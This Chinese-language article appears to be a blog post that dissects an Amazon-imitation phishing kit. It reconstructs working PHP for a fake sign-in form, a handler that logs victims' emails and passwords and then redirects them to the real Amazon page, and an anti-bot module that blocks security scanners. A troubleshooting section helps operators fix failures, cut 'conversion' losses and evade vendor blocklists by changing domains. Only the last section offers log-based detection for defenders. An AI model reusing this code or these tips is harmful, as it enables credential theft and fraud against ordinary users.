简介这份资源围绕仿冒亚马逊页面的网络诈骗手法展开面向网络安全学习者、反欺诈研究人员及安全意识培训人员用于理解钓鱼页面如何收集完整个人信息套件fullz并实施身份盗窃与金融欺诈。压缩包共24个文件约167KB以15个PHP脚本为核心辅以3个JS、2个PNG、2个CSS及SVG等静态资源涵盖仿冒登录页、邮件信息处理、浏览器与机器人检测、访问拦截及多语言跳转等模块结构上还原了此类诈骗站点的常见组成方式。已有135人学习下载。读者可借此了解钓鱼页面的目录组织、表单数据流向与反检测思路为识别仿冒亚马逊页面、分析可疑链接及开展安全教学提供参考样本适合具备基础Web知识、希望从攻防视角理解网络诈骗运作机制的学习者。1. 从一份 PHP 仿冒页面源码看钓鱼站的技术骨架你拿到一个叫scam-amazon.zip的压缩包解压后看到index.php、email.php、get.php、detect.php、blocker.php、antibots4.php这一串文件名第一反应大概是这不就是个仿亚马逊登录页的钓鱼站源码吗。没错它确实是一套典型的“Fullz page”模板——所谓 Fullz在黑产语境里指姓名、地址、卡号、CVV 一整套可被直接变现的个人信息而这个包就是用来批量收割这类数据的仿冒页面工程。但抛开用途不谈从纯技术角度看它其实是一份相当完整的“轻量级 Web 应用”样本有入口路由、有表单处理、有访问者环境探测、有反爬拦截、有静态资源目录甚至还有.DS_Store这种打包时没清干净的 Mac 残留。我拆它的目的不是教你怎么用而是让你看清这类页面在工程上是怎么拼起来的——因为只有看懂它的结构你才知道自己负责的站点或业务系统该在哪些环节设防。适合谁读做 Web 安全巡检的、写风控规则的、以及需要给团队做钓鱼识别培训的一线工程师。2. 拆解目录结构从 index.php 到 antibots4.php 的职责划分2.1 入口层与静态资源层先看根目录的文件分布。index.php是主入口通常承担两件事渲染仿冒的登录表单以及根据请求参数决定是否跳转到下一步。css/下只有login.css和style.css说明页面样式是手工写的没有用 Bootstrap 这类框架目的是减小体积、加快加载避免因为外部 CDN 请求暴露异常。js/下有v.js、q.js、m.js从命名习惯看v.js多半做基础校验q.js负责表单序列化与提交m.js可能处理移动端适配或鼠标轨迹采集。img/里放logo.png、icon.png、a.svg直接复刻亚马逊的视觉标识。lib/目录才是核心detect.php、system.php、global.php、browser.php、blocker.php、antibots4.php、loca.php、err.php这一组文件构成了访问者筛选与数据落地的逻辑层。常见做法是global.php被所有入口文件require一次里面定义数据库连接、公共函数和常量system.php负责读取配置或环境变量detect.php做设备与浏览器指纹识别browser.php解析 User-Agentblocker.php和antibots4.php是拦截模块用来挡掉安全厂商的爬虫、沙箱 IP 和已知的威胁情报扫描器loca.php做地理位置判断err.php统一错误处理避免报错信息泄露路径。get.php和email.php是数据接收端前者可能处理 GET 请求的落地参数后者处理 POST 过来的表单字段。update.php则可能是模板更新或数据回传的接口。2.2 数据流一次表单提交经过哪些文件假设一个访问者打开index.php页面加载时先执行global.php初始化然后detect.php和browser.php采集环境信息blocker.php判断当前 IP 或 UA 是否在黑名单里。如果通过index.php输出仿冒登录页。用户输入邮箱和密码后q.js把表单序列化POST 到email.php或get.php。接收端先require global.php再调用loca.php记录来源地区最后把数据写入数据库或追加到日志文件。如果写入成功返回一个重定向到真实亚马逊页面的 302让用户以为只是登录失败或跳转降低警觉。整个链路里antibots4.php会在每个入口处被调用检查请求头里有没有自动化工具的痕迹比如缺失Accept-Language、User-Agent包含HeadlessChrome等。下面这段代码模拟了global.php里常见的初始化逻辑我做了简化但保留了关键结构?php // global.php - 公共初始化被所有入口文件引用 session_start(); // 定义基础路径避免相对路径混乱 define(BASE_PATH, dirname(__FILE__)); define(LIB_PATH, BASE_PATH . /lib); // 引入核心检测模块 require_once LIB_PATH . /detect.php; require_once LIB_PATH . /browser.php; require_once LIB_PATH . /blocker.php; // 获取访问者 IP兼容代理场景 function getVisitorIP() { if (!empty($_SERVER[HTTP_CLIENT_IP])) { return $_SERVER[HTTP_CLIENT_IP]; } elseif (!empty($_SERVER[HTTP_X_FORWARDED_FOR])) { // 取第一个非内网地址 $ips explode(,, $_SERVER[HTTP_X_FORWARDED_FOR]); return trim($ips[0]); } return $_SERVER[REMOTE_ADDR]; } // 初始化访问者上下文 $visitor [ ip getVisitorIP(), ua $_SERVER[HTTP_USER_AGENT] ?? , time date(Y-m-d H:i:s), ref $_SERVER[HTTP_REFERER] ?? direct ]; // 执行拦截检查不通过直接终止 if (isBlocked($visitor)) { header(HTTP/1.1 404 Not Found); exit; }逻辑说明这段代码先开 session定义路径常量然后引入三个检测文件。getVisitorIP()处理了HTTP_X_FORWARDED_FOR可能包含多个 IP 的情况取第一个作为真实来源。$visitor数组把 IP、UA、时间、来源页打包方便后续模块复用。最后调用isBlocked()如果命中拦截规则直接返回 404让扫描器以为页面不存在。参数方面HTTP_X_FORWARDED_FOR的解析要小心有些代理会追加内网地址所以常见做法是过滤掉10.、192.168.、172.16.开头的段。isBlocked()的具体规则在blocker.php里通常包括 UA 黑名单、IP 段黑名单和请求频率限制。2.3 拦截模块 antibots4.php 的典型实现antibots4.php这个名字里的“4”可能表示第四版说明作者迭代过多次。它的核心逻辑是维护一个规则数组逐条匹配当前请求。常见规则包括UA 为空或包含curl、python、scrapyAccept头缺失请求间隔小于 1 秒IP 属于已知云厂商段。下面是一个简化版?php // antibots4.php - 访问者拦截规则 function isBlocked($visitor) { $ua strtolower($visitor[ua]); // 规则1空 UA 或常见自动化工具 $botSignatures [curl, python, scrapy, wget, headless, phantomjs]; foreach ($botSignatures as $sig) { if (strpos($ua, $sig) ! false) { return true; } } // 规则2缺少 Accept-Language真实浏览器一般都有 if (empty($_SERVER[HTTP_ACCEPT_LANGUAGE])) { return true; } // 规则3请求频率限制同一 IP 10 秒内超过 5 次 $ip $visitor[ip]; $cacheFile sys_get_temp_dir() . /rate_ . md5($ip); $now time(); $hits []; if (file_exists($cacheFile)) { $hits json_decode(file_get_contents($cacheFile), true) ?: []; // 清理 10 秒前的记录 $hits array_filter($hits, function($t) use ($now) { return ($now - $t) 10; }); } $hits[] $now; file_put_contents($cacheFile, json_encode($hits)); if (count($hits) 5) { return true; } return false; }逻辑说明函数接收$visitor数组先检查 UA 是否包含自动化工具特征。然后检查Accept-Language头很多脚本不会带这个头。最后用临时文件做简易频率限制10 秒内超过 5 次就拦截。参数上$botSignatures可以按需增删但注意不要误伤正常浏览器——比如headless会匹配到HeadlessChrome这是 Puppeteer 的默认 UA拦掉是合理的。频率限制的阈值 5 次/10 秒可以根据实际流量调整太小会误伤正常用户太大则起不到防护作用。这个模块的弱点也很明显基于文件的计数在并发高时会丢数据而且临时目录如果不可写整个拦截就失效了。3. 仿冒页面的视觉复刻与表单处理login.css 和 email.php 的配合3.1 视觉复刻的关键点css/login.css和css/style.css负责把页面做得像亚马逊。常见做法是直接扒真实页面的 CSS但会删掉注释、压缩空格避免被指纹识别。img/logo.png和img/a.svg是亚马逊的 logo 和图标icon.png用作 favicon。这里有个细节真实亚马逊的登录页在移动端和桌面端布局不同所以m.js可能会根据屏幕宽度切换 CSS 类名。v.js则做前端校验比如检查邮箱格式、密码长度但校验逻辑通常很宽松因为目的是让用户能提交而不是真的验证。下面是一个典型的表单 HTML 结构放在index.php里!-- index.php 中的表单部分 -- form idsignin-form actionemail.php methodPOST label foremailEmail or mobile phone number/label input typetext idemail nameemail autocompleteoff required label forpasswordPassword/label input typepassword idpassword namepassword required input typehidden nametoken value?php echo md5(session_id()); ? button typesubmitSign in/button /form script srcjs/q.js/script逻辑说明表单 POST 到email.php包含email、password和一个隐藏的token。token用session_id()的 MD5 生成目的是防止跨站提交也方便服务端关联同一次会话。autocompleteoff是为了避免浏览器自动填充让用户手动输入确保拿到的是真实数据。q.js会在提交前拦截可能做一些额外的字段拼接比如把屏幕分辨率、时区也塞进请求体。3.2 email.php 的数据接收与落库email.php是数据接收端典型流程是先require global.php然后检查$_POST里有没有email和password接着调用loca.php获取地理位置最后写入数据库或文件。下面是一个简化实现?php // email.php - 接收表单数据 require_once lib/global.php; // 只接受 POST if ($_SERVER[REQUEST_METHOD] ! POST) { header(Location: index.php); exit; } $email trim($_POST[email] ?? ); $password trim($_POST[password] ?? ); $token $_POST[token] ?? ; // 基础校验空值直接跳回 if (empty($email) || empty($password)) { header(Location: index.php?err1); exit; } // 获取地理位置 $location getLocation($visitor[ip]); // 来自 loca.php // 组装数据 $record [ email $email, password $password, ip $visitor[ip], ua $visitor[ua], location $location, time $visitor[time], token $token ]; // 写入日志文件一行一条 JSON $logFile BASE_PATH . /data/log.txt; file_put_contents($logFile, json_encode($record) . PHP_EOL, FILE_APPEND | LOCK_EX); // 重定向到真实亚马逊降低警觉 header(Location: https://www.amazon.com/ap/signin); exit;逻辑说明先引入global.php这样$visitor已经初始化好了。检查请求方法非 POST 直接跳回。校验邮箱和密码非空空则带错误参数跳回。getLocation()来自loca.php通常用本地 IP 库或外部 API 查询但外部 API 会留下请求痕迹所以常见做法是内置一个精简的 IP 段表。数据组装成关联数组后用json_encode追加到log.txtLOCK_EX防止并发写入冲突。最后 302 到真实亚马逊登录页用户会以为是自己输错了或者需要重新登录。参数上$logFile的路径要确保 Web 不可直接访问否则等于把数据公开了——这是很多低质量模板的致命伤data/目录没有.htaccess保护直接GET /data/log.txt就能拖库。3.3 静态资源与缓存策略css/和js/下的文件通常会被设置较长的缓存时间减少重复请求。但钓鱼站的生命周期很短缓存反而可能导致更新不及时所以有些模板会在文件名里加版本号比如style.css?v2。img/目录下的图片一般会压缩到最小logo.png可能只有几 KB。.DS_Store是 Mac 打包时自动生成的暴露了作者用的是 macOS这个文件本身没有危害但说明打包时没有清理属于低级疏忽。从防御角度看如果你在日志里看到对.DS_Store的请求基本可以判定对方在扫描目录。4. 避坑与排查这类页面常见的翻车点4.1 现象页面加载后白屏无任何输出原因global.php里require了不存在的文件或者lib/目录权限不对PHP 报致命错误但display_errors关闭导致白屏。解决临时在入口文件顶部加ini_set(display_errors, 1); error_reporting(E_ALL);看具体报错。常见的是loca.php里调用了geoip_open()但 GeoIP 扩展没装或者data/目录不可写导致file_put_contents失败。4.2 现象表单提交后没有重定向停在空白页原因email.php里header(Location: ...)之前有输出比如global.php里某个文件末尾有多余的空行或 BOM 头。解决检查所有被require的文件确保?后面没有空格或换行最好直接省略结束标签。另外session_start()之前也不能有输出否则会报 headers already sent。4.3 现象拦截模块误杀正常用户转化率骤降原因antibots4.php的规则太激进比如把Accept-Language为空的请求全拦了但有些真实浏览器在特定隐私设置下确实不发这个头。解决把硬拦截改成打分制命中一条规则记 1 分累计超过 3 分才拦截。同时把拦截日志单独记录定期分析误杀案例调整阈值。4.4 现象数据写入重复或丢失原因多个请求并发写同一个日志文件file_put_contents虽然加了LOCK_EX但在高并发下仍可能丢数据因为锁的粒度是文件级等待时间过长会超时。解决改用数据库SQLite 或 MySQL 都行用事务保证一致性。如果坚持用文件可以按小时或按 IP 哈希分片减少锁竞争。4.5 现象页面被安全厂商标记访问者看到警告原因域名或 IP 被列入威胁情报库或者页面特征被静态扫描识别。解决这类问题没有根治办法只能换域名、换 IP、改特征。但从防御方角度如果你在自家日志里看到大量来自同一 IP 的POST /email.php且 UA 是curl基本可以确定是扫描器在批量测试。5. 从防御侧反推如何用这份源码的结构做检测规则拆完这套模板最有价值的不是学会怎么搭而是知道怎么防。我一般会从三个层面写检测规则。第一层是网络层监控对.DS_Store、/lib/、/data/的请求正常业务不会访问这些路径。第二层是应用层检查登录表单的action是否指向非主域以及页面是否包含隐藏的token字段但表单提交频率异常。第三层是数据层如果日志里出现大量格式相同的 JSON 行包含email、password、ip、location字段且时间戳密集基本可以判定是钓鱼站的数据落地文件。下面是一个简单的检测脚本用 Python 扫描 Web 日志找出可疑的 POST 请求import re from collections import defaultdict # 匹配日志中的 POST 请求提取 IP、路径、UA log_pattern re.compile( r(?Pip\d\.\d\.\d\.\d).*?POST (?Ppath\S) HTTP.*? (?Pstatus\d).*?(?Pua[^]*) ) # 统计每个 IP 对敏感路径的请求次数 suspicious defaultdict(int) sensitive_paths [/email.php, /get.php, /update.php] with open(access.log, r) as f: for line in f: match log_pattern.search(line) if not match: continue ip match.group(ip) path match.group(path) ua match.group(ua).lower() # 规则1访问敏感路径 if any(p in path for p in sensitive_paths): suspicious[ip] 1 # 规则2UA 包含自动化工具特征 if any(sig in ua for sig in [curl, python, scrapy]): suspicious[ip] 2 # 输出可疑 IP for ip, score in sorted(suspicious.items(), keylambda x: -x[1]): if score 3: print(f可疑 IP: {ip}, 评分: {score})逻辑说明脚本用正则从日志里提取 IP、请求路径、状态码和 UA。对访问/email.php等敏感路径的请求计 1 分对 UA 包含自动化工具特征的计 2 分。累计 3 分以上的 IP 输出为可疑。参数上sensitive_paths要根据自己业务的实际接口调整score 3的阈值可以按误报率微调。这个脚本的局限是只能处理标准格式的日志如果用了 CDN 或反向代理真实 IP 可能在X-Forwarded-For里需要额外解析。从那以后我每次做安全巡检都会先把这类模板的目录结构和文件命名过一遍因为黑产的工具迭代很快但骨架变化不大。希望帮到你。本文还有配套的精品资源点击获取